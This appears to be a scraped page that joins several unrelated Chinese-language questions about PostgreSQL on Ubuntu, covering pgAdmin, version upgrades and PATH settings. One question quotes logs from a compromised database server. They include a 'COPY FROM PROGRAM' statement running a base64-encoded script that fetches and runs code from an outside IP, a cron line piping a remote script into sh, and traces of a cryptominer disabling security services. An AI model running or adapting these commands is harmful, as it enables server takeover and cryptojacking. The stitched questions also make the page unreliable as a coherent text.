postgreSQL 应用程序在将其安装到我的计算机时不要求我输入密码。我不知道这是否就是为什么我在终端中输入的密码都没有被拒绝的原因。
请问我该如何解决这个问题？
我按照此处的说明安装了 pgadmin4
我想通过 Unix 套接字将它连接到本地运行的 postgresql 服务
我有
$ sudo ls -lha /var/run/postgresql/14-main.pg_stat_tmp/
totale 0
drwxr-s--- 2 postgres postgres 40 set 20 10:51 .
drwxrwsr-x 3 postgres postgres 60 set 20 10:51 ..
我看到一个空文件夹
我不明白
posgres 服务准备好接受 unix 套接字上的连接了吗？
或者不是吗？
我该怎么做呢 ？
我在 Ubuntu 22.04
我正在使用 ubuntu 18.04 和 postgresql 12，请参见下面的 journalctl：
Dec 16 09:39:19 server sudo[55084]: postgres : TTY=unknown ; PWD=/var/lib/postgresql/12/main ; USER=root ; COMMAND=/usr/sbin/sysctl kernel.nmi_watchdog=0
Dec 16 09:39:19 server sudo[55084]: pam_unix(sudo:session): session opened for user root by (uid=0)
Dec 16 09:39:19 server sudo[55084]: pam_unix(sudo:session): session closed for user root
Dec 16 09:39:24 server crontab[56537]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56539]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56543]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56545]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56547]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56550]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56552]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56553]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56555]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56556]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56558]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56559]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56561]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56562]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56564]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56565]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56567]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56568]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56570]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56571]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56573]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56574]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56576]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56577]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56579]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56580]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56582]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56583]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56585]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56586]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56588]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56589]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56591]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56592]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56594]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56595]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56597]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56598]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56600]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56601]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56603]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56604]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56606]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56607]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56609]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56610]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56612]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56613]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56615]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56616]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56618]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56619]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56621]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56622]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56624]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56625]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56627]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56628]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56630]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56631]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56633]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56634]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56636]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56637]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56639]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56640]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56642]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56643]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56645]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56646]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56648]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56649]: (postgres) LIST (postgres)
Dec 16 09:39:24 server crontab[56651]: (postgres) REPLACE (postgres)
Dec 16 09:39:24 server crontab[56652]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56654]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56655]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56657]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56658]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56660]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56661]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56663]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56664]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56666]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56667]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56669]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56670]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56672]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56673]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56675]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56676]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56678]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56679]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56681]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56682]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56684]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56685]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56687]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server crontab[56688]: (postgres) LIST (postgres)
Dec 16 09:39:25 server crontab[56690]: (postgres) REPLACE (postgres)
Dec 16 09:39:25 server postgresql@12-main[56691]: Cluster is not running.
Dec 16 09:39:25 server systemd[1]: [email protected]: Control process exited, code=exited, status=2/INVALIDARGUMENT
Dec 16 09:39:25 server systemd[1]: [email protected]: Failed with result 'exit-code'.
此期间的日志：
rm: cannot remove '/var/log/syslog': Permission denied
chattr: Permission denied while setting flags on /tmp/
chattr: Permission denied while setting flags on /var/tmp/
chattr: Permission denied while setting flags on /var/spool/cron
chattr: Permission denied while setting flags on /etc/crontab
ERROR: You need to be root to run this script
Fatal: can't open lock file /run/xtables.lock: Permission denied
bash: line 12: /proc/sys/kernel/nmi_watchdog: Permission denied
bash: line 13: /etc/sysctl.conf: Permission denied
userdel: user 'akay' does not exist
userdel: user 'vfinder' does not exist
chattr: Permission denied while trying to stat /root/.ssh/
chattr: Permission denied while trying to stat /root/.ssh/authorized_keys
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
cat: /tmp/.X11-unix/01: No such file or directory
cat: /tmp/.X11-unix/11: No such file or directory
cat: /tmp/.X11-unix/22: No such file or directory
cat: /tmp/.pg_stat.0: No such file or directory
cat: /tmp/.pg_stat.1: No such file or directory
cat: /data/./oka.pid: No such file or directory
2021-12-16 09:39:20.212 +06 [54731] LOG: received smart shutdown request
2021-12-16 09:39:20.222 +06 [54731] LOG: background worker "logical replication launcher" (PID 54738) exited with exit code 1
grep: Trailing backslash
kill: (16): Operation not permitted
kill: (56000): No such process
kill: (56005): No such process
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Failed to stop c3pool_miner.service: Access denied
See system logs and 'systemctl status c3pool_miner.service' for details.
log_rot: no process found
chattr: No such file or directory while trying to stat /etc/ld.so.preload
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.3': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.3': No such file or directory
rm: cannot remove '/var/tmp/lib': No such file or directory
rm: cannot remove '/var/tmp/.lib': No such file or directory
chattr: No such file or directory while trying to stat /etc/ld.so.preload
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.3': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.3': No such file or directory
rm: cannot remove '/var/tmp/lib': No such file or directory
rm: cannot remove '/var/tmp/.lib': No such file or directory
chattr: No such file or directory while trying to stat /tmp/lok
chmod: cannot access '/tmp/lok': No such file or directory
bash: line 545: docker: command not found
bash: line 546: docker: command not found
bash: line 547: docker: command not found
bash: line 548: docker: command not found
bash: line 549: docker: command not found
bash: line 550: docker: command not found
bash: line 551: docker: command not found
bash: line 552: docker: command not found
bash: line 553: docker: command not found
bash: line 554: docker: command not found
bash: line 555: docker: command not found
bash: line 556: docker: command not found
bash: line 557: docker: command not found
bash: line 558: docker: command not found
bash: line 559: docker: command not found
bash: line 560: docker: command not found
bash: line 561: docker: command not found
bash: line 562: docker: command not found
bash: line 563: docker: command not found
bash: line 564: docker: command not found
bash: line 565: docker: command not found
bash: line 566: docker: command not found
bash: line 567: setenforce: command not found
bash: line 568: /etc/selinux/config: Permission denied
Failed to stop apparmor.service: Access denied
See system logs and 'systemctl status apparmor.service' for details.
Synchronizing state of apparmor.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable apparmor
Failed to reload daemon: Access denied
update-rc.d: error: Permission denied
Failed to stop aliyun.service.service: Access denied
See system logs and 'systemctl status aliyun.service.service' for details.
Failed to disable unit: Access denied
/tmp/kinsing is 648effa354b3cbaad87b45f48d59c616
2021-12-16 09:39:25.123 +06 [55065] postgres@postgres FATAL: terminating connection due to administrator command
2021-12-16 09:39:25.123 +06 [55065] postgres@postgres CONTEXT: COPY opwcztav, line 1: "kernel.nmi_watchdog = 0"
2021-12-16 09:39:25.123 +06 [55065] postgres@postgres STATEMENT: DROP TABLE IF EXISTS OPWczTav;CREATE TABLE OPWczTav(cmd_output text);COPY OPWczTav FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDE4NS4yNTAuMTQ4LjIxNy9wZy5zaHxiYXNoCmVsaWYgWyAteCAiJChjb21tYW5kIC12IHdnZXQpIiBdOyB0aGVuCiAgd2dldCAtcSAtTy0gMTg1LjI1MC4xNDguMjE3L3BnLnNofGJhc2gKZWxzZQogIF9fY3VybCBodHRwOi8vMTg1LjI1MC4xNDguMjE3L3BnMi5zaHxiYXNoCmZp|base64 -d|bash';SELECT * FROM OPWczTav;DROP TABLE IF EXISTS OPWczTav;
2021-12-16 09:39:25.142 +06 [54733] LOG: shutting down
2021-12-16 09:39:25.167 +06 [54731] LOG: database system is shut down
我用 ClamAV 扫描了系统，它在路径中发现了一个恶意软件文件/var/lib/postgresql/12/main/a。其内容：
bind: Operation not permitted
cmd: echo "*/30 * * * * /var/lib/postgresql/12/main/./oka" > /tmp/a;echo "* */6 * * * wget -q -O- http://xmr.linux1213.ru:2019/back.sh | sh">> /tmp/a; crontab /tmp/a;rm -rf /tmp/a
moniter begin
connect failed, return: -1
这是麻烦的根源吗？
Ubuntu 20.04 只给了我过时的 PostgreSQL 12。升级到“21.04 (Hirsute Hippo)”后，我得到了版本 13。如何安装最新版本 (14)？
apt dist-upgradeUbuntu/Debian 发行版上的命令可以更新 PostgreSQL 的版本吗？
我有一些使用 PostgreSQL 9.6 的 Ubuntu 18.04 LTS 服务器，我不希望unattended-upgrades执行结果导致 PostgreSQL 更新。
如果我没记错的话，我应该必须显式安装另一个 postgresql 版本才能这样做。否则我应该将该软件包更新列入黑名单吗？
谢谢！
我正在尝试在名为 postgresql pgadmin4 v4.28 的本地服务器上上传数据库文件并面临请求超时问题如何解决这个问题？我还增加了最大上传文件限制，并在 postgresql 中进行了更改，但不能。操作系统名称：ubuntu 20.04 屏幕截图链接如下
在 Ubuntu 20.04 上，我有一个 Postgresql 服务处于活动状态但未运行
~$ sudo systemctl status postgresql
[sudo] password di ______:
● postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; enabled; vendor preset: enabled)
Active: active (exited) since Tue 2020-12-01 08:18:18 CET; 4h 9min ago
Process: 1318 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 1318 (code=exited, status=0/SUCCESS)
dic 01 08:18:18 ThinkPad-T440 systemd[1]: Starting PostgreSQL RDBMS...
dic 01 08:18:18 ThinkPad-T440 systemd[1]: Finished PostgreSQL RDBMS.
为什么会停止？
我该如何解决这个问题？
谢谢
我无法在我的 ubuntu 服务器上为 postgresql 用户永久添加当前 PATH。
每次我 ssh 或重新启动我必须运行的服务器时export PATH="${PATH}:${HOME}/.local/bin"，我都在运行一个 python 脚本，除非这个命令完成，否则我将尝试在 python 中简单地添加它，但它没有解决。
import os
cmd ='''export PATH="${PATH}:${HOME}/.local/bin"'''
os.system(cmd)
... rest of my code
我也尝试过sudo export PATH="${PATH}:${HOME}/.local/bin"，但每次重新启动后它都会被删除，我该怎么做才能永久添加此路径或让 python 脚本运行它。
我正在使用 ubuntu 20.04，我需要 mysql 5.6 版或 postgresql 9.6 版。
我知道我可以使用以下命令指定版本：
apt-get install mysql-server=<version>
我可以使用以下命令查看提供的软件包：
apt-cache showpkg mysql-server
但是如果没有列出，我如何在 5.6 版本中安装 mysql-server？
谢谢阿米特